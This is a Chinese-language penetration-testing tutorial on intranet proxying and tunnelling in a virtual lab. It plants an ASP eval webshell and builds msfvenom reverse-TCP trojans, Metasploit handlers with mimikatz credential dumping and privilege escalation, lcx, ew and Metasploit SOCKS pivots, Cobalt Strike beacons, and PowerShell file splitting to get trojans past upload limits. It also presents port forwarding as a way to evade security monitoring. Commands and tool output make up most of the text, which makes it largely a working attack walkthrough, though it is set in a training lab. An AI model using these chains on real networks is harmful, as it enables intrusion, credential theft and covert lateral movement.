【网安-Web渗透测试-内网渗透】内网代理和隧道技术

目录

一、概念

1、核心概念区分

(1)代理

主要用于解决网络可达性问题。例如,主机A与C无法直接通信,但A与B、B与C均可通信。此时,A可通过B(代理/跳板)间接与C通信。

(2)隧道

主要用于解决协议被拦截的问题。当A与C之间的特定协议通信被防火墙等设备阻断时,可利用隧道技术将受限协议封装在允许的协议(如HTTP、DNS)中进行传输,从而绕过限制。

2、内网代理的两种模式

内网代理根据连接方向,主要分为正向连接和反向连接,并常结合端口转发技术。

(1)正向连接

①场景

目标服务器(A)拥有公网IP,攻击者(B)可直接访问。

②方式

B直接主动连接A上的木马或后门,从而控制A。

(2)反向连接

①场景

目标服务器(A)处于内网,无公网IP,B无法直接接入。

②方式

使A主动向外连接攻击者控制的公网服务器(B),从而建立控制通道,由B反向控制A。

(3)端口转发

①作用

将发送到某个端口的数据流量,透明地转发到另一个指定的端口或地址。

②应用

常与上述连接方式结合使用,用于绕过防火墙或安全设备的检测。

3、实战应用要点

在实际攻防或渗透测试中,正向连接易受目标出口防火墙策略的阻挡,因此反向连接更为常用和可靠。

内网安全设备通常会监控敏感端口(如22、3389、445等)的异常连接。通过端口转发,可以将对这些端口的访问流量转发到非敏感的高位端口,从而规避安全设备的规则检测,实现隐蔽通信。

二、环境要求

1、环境结构图

2、主机配置

(1)外网机

名称
操作系统 Windows Server 2003
网卡1 IP(外网) 192.168.179.144
网卡2 IP(LAN1) 10.10.10.10
中间件 phpStudy 2016

Step1 :在Vmware中的网卡配置,设置"网络连接"为"LAN区段",并添加区段为"一层内网"。

Step2 :在虚拟机中设置网卡2的IP

Step3 :启动PhpStudy,且端口号为90

(2)内网主机1

名称
操作系统 Windows 7
网卡1 IP(LAN1) 10.10.10.11
网卡2 IP(LAN2) 20.20.20.1
中间件 IIS 7
防火墙规则 仅支持访问Web,正向连接失效

Step1:在Vmware中的不同网卡设置"网络连接"

设置网卡1:

设置网卡2:

Step2:在虚拟机中设置网卡1的IP和网卡2的IP

设置网卡1:

设置网卡2:

Step3:设置防火墙规则

控制面板--->系统和安全--->Windows防火墙--->高级设置--->入站规则--->新建规则--->预定义--->万维网服务(HTTP)



万维网服务(HTTP)开启之后,防火墙只允许外部访问80端口。

Step4 :开启IIS

控制面板--->程序--->打开或关闭Windows功能

访问浏览器查看是否开启成功:

Step5 :验证配置后的效果

①在外网机(192.168.179.144)中的浏览器中,能成功访问并出现IIS7的页面,这说明防火墙策略配置合理;

②在外网机(192.168.179.144)中使用ping命令时,无法ping通。

Step6:在默认的80站点中,新建虚拟机目录、并新建ASP脚本

新建虚拟机目录:


说明:图中的别名是指网站的路径名,当别名设为test之后,那么对应的访问路径是http://10.10.10.11/test/。物理路径是指网页文件存放的位置。这两者都可以自定义!

新建ASP脚本:

bash 复制代码
# 文件名为1.asp
<% eval request("test") %>

备注:在做内网渗透时,用于模拟此主机内存在一个可切入的漏洞。

(3)内网主机2

名称
操作系统 Windows 10
网卡 IP(LAN2) 20.20.20.2
防火墙规则 仅支持访问打印机,正向连接失效

Step1 :在Vmware中的网卡设置"网络连接"

Step2 :在虚拟机中设置网卡的IP

Step3 :开启SMB服务

Step4 :设置防火墙规则

控制面板--->系统和安全 --->Windows防火墙--->高级设置--->入站规则--->新建规则--->预定义--->文件和打印机共享


文件和打印机共享开启之后,防火墙只允许外部访问445端口。

(4)Kali攻击机

名称
操作系统 Kali Linux 2023.4
IP 192.168.179.128

三、代理转发策略

1、思路

渗透的前提是双方能够建立通信。目前无法和win7建立通信,但是拿到了windows2003的权限,所以可以在Windows2003主机上面建立节点,作为跳板机去访问到内网。

2、LCX代理转发

Step1:进入Kali系统,并执行如下命令生成木马。

bash 复制代码
$ msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.179.128 lport=4444 -f exe >su.exe

Step2:用webshell将木马上传都目标服务器(蚁剑为例)

备注:假定在外网机(192.168.179.144)中存在一些漏洞,被攻击者利用,并成功上传了一句话木马,此处的重点是利用内网代理和隧道技术,因此,如何利用Webshell暂时忽略。

Step3:MSF进入监听模式

bash 复制代码
#输入命令设置本地监听,具体命令如下:启动msf:
$ msfconsole

#选择工具:
msf6 > use exploit/multi/handler
#设置攻击语句:
msf6 > set payload windows/meterpreter/reverse_tcp
#设置监听IP(注意IP地址是本地kali机器的IP地址):
msf6 > set lhost 192.168.179.128
#设置监听端口:
msf6 > set lport 4444
#开始监听:
msf6 > exploit #或者run

Step4 :在蚁剑中,进入虚拟终端调用上传的MSF木马

MSF上线之后,就可以调用MSF强大的功能模块去做渗透了。

Step5:收集信息并提权

在Kali机中进行如下操作:

bash 复制代码
#调用mimikatz模块:
meterpreter > load mimikatz
#收集账号密码:
meterpreter > creds_all
#查看当前目标机器IP地址:
meterpreter > ipconfig
#需要提升为system权限:
meterpreter > getsystem
meterpreter > getuid

经过前面的信息收集之后我们发现目标存在两个IP地址,且网段不一样;因此可得:

10.0.0网段是目前我们可以使用浏览器可以访问的。

10.10.10网段是我们使用ping去访问,显示连接超时,于是我们可以判断10.10.10为内网网段。

Step6 :上传lcx.exe文件,从而使用此工具可进行端口转发

Step7:开启3389远程桌面

在Kali机中进行如此操作:

bash 复制代码
#新版kali中运行这条命令即可
meterpreter > run post/windows/manage/enable_rdp 


Step8:启动lcx工具

将目标机器的3389端口转发到攻击机的IP地址和自定义端口上。

Webshell上执⾏:

bash 复制代码
# 将本机3389端⼝流量转 发到公⽹ip的2222端⼝上去
C:\phpStudy\WWW> lcx.exe -slave 192.168.179.1 2222 127.0.0.1 3389 

在⾃⼰的攻击机命令行中执⾏:

bash 复制代码
# 监听本地的2222端⼝将流量转发到1234
C:\ lcx.exe -listen 2222 1234


Step9 :攻击机打开远程桌面连接,直接连接本机的1234端口

此时我们远程连接目标服务器过程中,因为是将目标的3389端口的流量做了转发,所以可以避免被防护设备监听到流量异常,能让渗透测试更加隐秘和安全。

3、ew代理转发

(1)环境说明

ew也称为毒液,支持多平台运行(Windows、Linux、Mac等),可用于内网多级代理。

在内网中访问特定网站时的模样:

在非内网中,使用代理前,网站的显示是这样:

如何在非内网环境(外网)中也能访问到内网的网站呢?具体操作如下:

(2)执行内网渗透

Step1 :用webshell上传ew.exe(蚁剑为例)

Step2:将ew的Linux版本放在kali攻击机中,并启动ew的服务

bash 复制代码
$ chmod +x ew_for_linux
#开启linux服务器版本的ew,将kali机器接受到的3389端口流量转发到1008端口(端口可自定义)
$ ./ew_for_linux -s rcsocks -l 1008 -e 1235


Step3:运行目标机中的ew.exe,连接攻击机的ew服务器端口。此处的攻击机为kali

bash 复制代码
C:\phpStudy\WWW> ew.exe -s rssocks -d 192.168.179.128 -e 1235


Step4:打开Proxifier并配置代理

新建配置文件:

开始配置代理:

①代理服务器的设置

服务器地址为Kali机IP(192.168.179.128),端口号为1008,协议类型为SOCKS5。

②代理检测器的设置

目标主机:10.10.10.10(外网机的第二个网卡,也是接入内网其他主机的网卡的IP地址),端口为84(此处的端口指向的是外网机中已经部署好的Web项目)。

Step5 :访问内网的Web项目

结论:利用ew工具和Proxifier代理工具已成功访问内网项目。代理工具能否使用其他的,答案是可以,需要自行配置。 想要挂一个猫咪当然也是可以的!

(3)内容扩展

上述操作已顺利执行,也可无需ew_for_linux文件也能操作,具体如下:

①正向代理:

bash 复制代码
#⽬标主机直接执⾏:(等待连接)
$ ew.exe-s ssocksd -l 1080
#在代理服务器中则输入ew.exe所在服务器的IP地址

②反向代理:

bash 复制代码
#在攻击机上运⾏:
$ ew.exe -s rcsocks -l 1080 -e 888
#⽬标机器上执⾏: 
$ ew.exe -s rssocks -d <攻击机IP地址> -e 888

4、使用MSF直接调用模块开启端口转发代理

部分工具容易被杀毒干掉,可不用相应的工具,直接使用kali系统的MSF调用模块开启端口转发代理。

(1)环境说明

在内网中访问特定网站时的模样:

在非内网中,使用代理前,网站的显示是这样:

在外网也能访问到内网项目的具体操作如下:

(2)执行内网渗透

Step1:使用MSF生成木马

bash 复制代码
# 生成一个监听木马文件
$ msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.179.139 lport=4444 -f exe >su.exe

# 进入到MSF
$ msfconsole
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set lhost 192.168.179.128
msf6 > set lport 4444
msf6 > exploit #或者run

Step2 :通过webshell管理工具(此处为蚁剑)上传到目标服务器。启动木马(即打开su.exe文件)


Step3:MSF会话上线之后,使用命令添加路由

bash 复制代码
#查看路由
meterpreter > run autoroute -p
# 提示无任何路由被添加,需要添加路由
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] No routes have been added yet

#添加路由
meterpreter > run post/multi/manage/autoroute

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: windows
[*] Running module against OLDBOY-BFF81D0F
[*] Searching for subnets to autoroute.
# 如下提示是已成功添加的路由
[+] Route added to subnet 10.10.10.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 192.168.179.0/255.255.255.0 from host's routing table.

此时添加的路由是针对当前会话的路由,其他的程序和工具是没办法通过当前路由访问内网的,所以此时我们还需要添加相应的通信节点!

Step4:将当前会话放置到后台,调用相应的模块添加节点

bash 复制代码
#将会话放置后台
meterpreter > background
[*] Backgrounding session 1...

#搜索相应的会话模块
msf6 exploit(multi/handler) > search socks

Matching Modules
================
   #  Name                                     Disclosure Date  Rank    Check  Description
   -  ----                                     ---------------  ----    -----  -----------
   0  auxiliary/server/socks_proxy                              normal  No     SOCKS Proxy Server
   1  auxiliary/server/socks_unc                                normal  No     SOCKS Proxy UNC Path Redirection
   2  auxiliary/scanner/http/sockso_traversal  2012-03-14       normal  No     Sockso Music Host Server 1.5 Directory Traversal

Interact with a module by name or index. For example info 2, use 2 or use auxiliary/scanner/http/sockso_traversal                                                               

#添加节点的模块名为:auxiliary/server/socks_proxy
msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy

msf6 auxiliary(server/socks_proxy) > options
Module options (auxiliary/server/socks_proxy):                                                                                                                                                                     
                                                                                                                                                                                                                   
   Name     Current Setting  Required  Description                                                                                                                                                                 
   ----     ---------------  --------  -----------                                                                                                                                                                 
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.                    
   # SRVPORT表示端口,可自定义设置。
   SRVPORT  1080             yes       The port to listen on    
   # VERSION表示SOCKS的版本。                                                                                                                                                   
   VERSION  5                yes       The SOCKS version to use (Accepted: 4a, 5)                                                                                                                                  
                                                                                                                                                                                               
   When VERSION is 5:                                                                                                                                                                                              
   
   # 可自定义设置连接的用户和密码,默认为空,即无需校验就能直接连上
   Name      Current Setting  Required  Description                                                                                                                                                                
   ----      ---------------  --------  -----------                                                                                                                                                                
   PASSWORD                   no        Proxy password for SOCKS5 listener                                                                                                                                         
   USERNAME                   no        Proxy username for SOCKS5 listener                                                                                                                                         
                                                                                                                                                                                                               
Auxiliary action:                                                                                                                                                                                                  
                                                                                                                                                                                                                   
   Name   Description                                                                                                                                                                                              
   ----   -----------                                                                                                                                                                                              
   Proxy  Run a SOCKS proxy server                                                                                                                                                                                 

View the full module info with the info, or info -d command.

# 设置好之后,开始启用代理节点
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server

Step5 :打开Proxifier并配置代理

①代理服务器的设置

服务器地址为Kali机IP(192.168.179.128),端口号为1080,协议类型为SOCKS5。

②代理检测器的设置

目标主机:10.10.10.10(外网机的第二个网卡,也是接入内网其他主机的网卡的IP地址),端口为83(此处的端口指向的是外网机中已经部署好的Web项目)。

注意:一定要将其他代理服务器先关闭或清除,否则容易和其他代理服务冲突!

Step6:代理成功之后,可直接在本地浏览器访问目标主机内网

5、Cobalt strike的代理转发通信

Step1:启动CS的Server端和Client端

Server端(Kali机中运行):

bash 复制代码
$ cd /home/kali/tools/CS4.8   #切换到我们上传的CS4.8⽬录中
$ cd server                   #切换到server⽬录

#赋予服务端运⾏权限
$ chmod +x teamserver
$ chmod +x TeamServerImage
$ sudo ./teamserver 192.168.179.128 test   #启动teamserver(服务端)IP地址为kali的地址,test为连接密码
[sudo] password for kali: 

[*] Generating X509 certificate and keystore (for SSL)
Generating 3,072 bit RSA key pair and self-signed certificate (SHA384withRSA) with a validity of 90 days
        for: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth

[*] Starting teamserver
[*] Team Server Version: 4.8 (Pwn3rs)
[*] Setting 'https.protocols' system property: SSLv3,SSLv2Hello,TLSv1,TLSv1.1,TLSv1.2,TLSv1.3
[*] Loading keystrokes.
[*] Loaded 0 keystrokes.
[*] Loading screenshots.
[*] Loaded 0 screenshots.
[*] Loading downloads.
[*] Loaded 0 downloads.
[*] Loading Windows error codes.
[*] Windows error codes loaded
[*] Loading hosted files
[*] Loaded 0 servers with hosted items
[*] Loading beacons
[*] Loaded 0 beacons
[+] Team server is up on 0.0.0.0:50050   # 默认端⼝是50050,且无地址限制
[*] SHA256 hash of SSL cert is: 44bc7fd1d9706b82bd047a8d1503d

Client端(Windows端运行):

用户名可任意设置。确认密码、IP和端口无误后单击"Connect"按钮。

Step2 :使用CS生成木马,通过webshell管理工具蚁剑上传到Windows2003运行上线

新增连接配置。名为NAT_1。

将其进行保存并取消x64位的勾选。

将保存好的文件(cs_1.exe)通过蚁剑上传至目标服务器。

在蚁剑的命令行终端中运行cs_1.exe。

可以看到CS已经成功上线了。

Step3 :CS选择"代理转发"点击"socks 代理";设置代理端口"自定义",点击确定

Step4 :打开Proxifier代理工具,新增代理服务器,填写IP地址和自定义的端口

IP地址:192.168.179.128

端口:43807

协议类型:SOCKS5

Step5 :设置代理规则:

Step6:代理之后,可直接访问内网网站

四、突破防火墙使win7上线

思路:根据网络环境可知,windows7是内网主机,是无法上网的,攻击机无法直接和它实现通信;可以通过代理进入到Windows2003机器的内网,而2003主机的内网环境是可以实现和win7的通信。目前已控制了Windows2003,那么可以通过Windows2003来实现和同一内网下的Windows7的通信。

1、正向连接

Step1 :新建本地监听器:pyload选择"Beacon TCP"

Beacon TCP:没有host值,默认为本地的监听器。

Step2 :使用新建的监听器生成木马

Step3 :利用webshell连接到目标主机(此处以蚁剑为例)

IP:10.10.10.11(此为win7的主机,也是win2003这个外网机可访问的内网机)

连接密码:test

连接类型:ASP

连接成功的必备条件:①成功启动了代理;②可在外网中访问到内网主机(10.10.10.11)的Web页面。

Step4:将大文件进行分批

说明:受环境的限制,在IIS的站点中,只能上传不超过100KB的数据,因此需要动用分批命令进行处理

bash 复制代码
# 进入的文件所在目录
C:\> cd /d "<文件所在目录,需要自行替换>"

# 使用PowerShell分割文件(每个片段80KB)
C:\> powershell -command "$file=[System.IO.File]::ReadAllBytes('win7.exe'); $size=80KB; $part=0; for($i=0; $i -lt $file.Length; $i+=$size){$part++; [System.IO.File]::WriteAllBytes(('win7_part{0:000}.bin' -f $part), $file[$i..([Math]::Min($i+$size-1, $file.Length-1))])}"

Step5:利用webshell将分批文件上传到Win7的机器

Step6:在蚁剑的命令行终端中,合并分批的文件,并运行木马

操作命令:

bash 复制代码
# 合并命令
c:\> copy /b win7_part*.bin win7.exe
# 运行木马
c:\> win7.exe

Step7:进入CS终端命令行输入命令,实现CS上线通信。

bash 复制代码
$ connect 10.10.10.11 4444

因为win7防火墙设置了入站规则:万维网服务(HTTP),这种情况下防火墙通常只允许80端口访问,其他端口即使有开放,但是由于防火墙的阻止是不能产生连接的,因此后门的4444端⼝不会上线。

Step8:如果木马在主机内运行呢?且运行公网的访问的情况下

打开win7.exe,并允许公用网络访问:

在CS中输入命令进行连接:


结论:从图中看到,木马已成功上线,但这种方式是不可取的,一般情况下,哪位倒霉的用户会在自己的主机里面打开不明的文件呢!而之前通过在蚂蚁剑来中运行了木马,但并未成功上线,既然正向连接走不通,那么接下来选择反向连接。

2、反向连接

思路:先运行已上传的木马,一定要通过win7中的木马主动来找win2003,以实现反向连接。

Step1 :基于Win2003建立一个转发上线 ,即通过win2003进行转发上线

监听主机IP(Listen Host):10.10.10.10(Win2003这个外网机的第二网卡IP)

端口:4444

Step2 :根据这个反向连接去建立一个木马

新建之后得到了一个木马文件。

Step3:拆分木马文件,并上传木马到win7机当中

注意:①继续保持代理的正常运行,保证win2003中到win7的内网地址能够正常访问;②保证webshell能够正常连接。

bash 复制代码
# 进入的文件所在目录
C:\> cd /d "<文件所在目录,需要自行替换>"

# 使用PowerShell分割文件(每个片段80KB)
C:\> powershell -command "$file=[System.IO.File]::ReadAllBytes('win7_reverse.exe'); $size=80KB; $part=0; for($i=0; $i -lt $file.Length; $i+=$size){$part++; [System.IO.File]::WriteAllBytes(('win7_reverse_part{0:000}.bin' -f $part), $file[$i..([Math]::Min($i+$size-1, $file.Length-1))])}"

Step6:在蚁剑的命令行终端中,合并分批的文件,并运行木马

操作命令:

bash 复制代码
# 合并命令
c:\> copy /b win7_reverse_part*.bin win7_reverse.exe
# 运行木马
c:\> win7_reverse.exe


结论:通过图中的木马上线来看,反向连接看来更适合于此类场景的应用。

3、通过信息收集发现了win10机的IP

由于Windows 10主机必须通过Windows 7主机连接,但双方防火墙阻挡了正向和反向连接,因此只能使用SMB隧道通过445端口。

Step1 :打开"目标列表"

Step2 :扫描端口

发现了第二层内网的IP,即win10机的IP。如果想要攻入该主机,则需要进行各种信息采集,并提权,最终由CS通过生成SMB监听,打入内网。由于攻入内网需要收集到关键信息,例如用户名和密码等信息,需要一定的运行才能攻入。

相关推荐
jiay22 小时前
[ubuntu] 2404安装cuda13-0
linux·windows·ubuntu
大数据新鸟2 小时前
Java 泛型(Generic)完整使用指南
java·windows·python
上海云盾-小余3 小时前
业务频繁卡顿丢包?如何精准区分网络延迟、线路故障与 CC 攻击
网络·安全·web安全
还是做不到嘛\.14 小时前
Dvwa靶场-SQL Injection (Blind)-基于sqlmap
数据库·sql·web安全
One_Blanks14 小时前
WIndows x64 ShellCode开发 第三章 x64汇编细节点
汇编·windows·网络安全·渗透测试·红队技术
C++ 老炮儿的技术栈14 小时前
分享一个安全的CString
c语言·c++·windows·git·安全·visual studio
淼淼爱喝水15 小时前
openEuler 下 Ansible 基础命令详解与实操演示2
linux·运维·windows
One_Blanks15 小时前
WIndows ShellCode开发 第四章 动态API调用
windows·网络安全·渗透测试
idolao16 小时前
RStudio 2025 + R 4.5.0 安装与配置教程 Windows版:解压+双软件安装+自定义路径+R语言关联指南
windows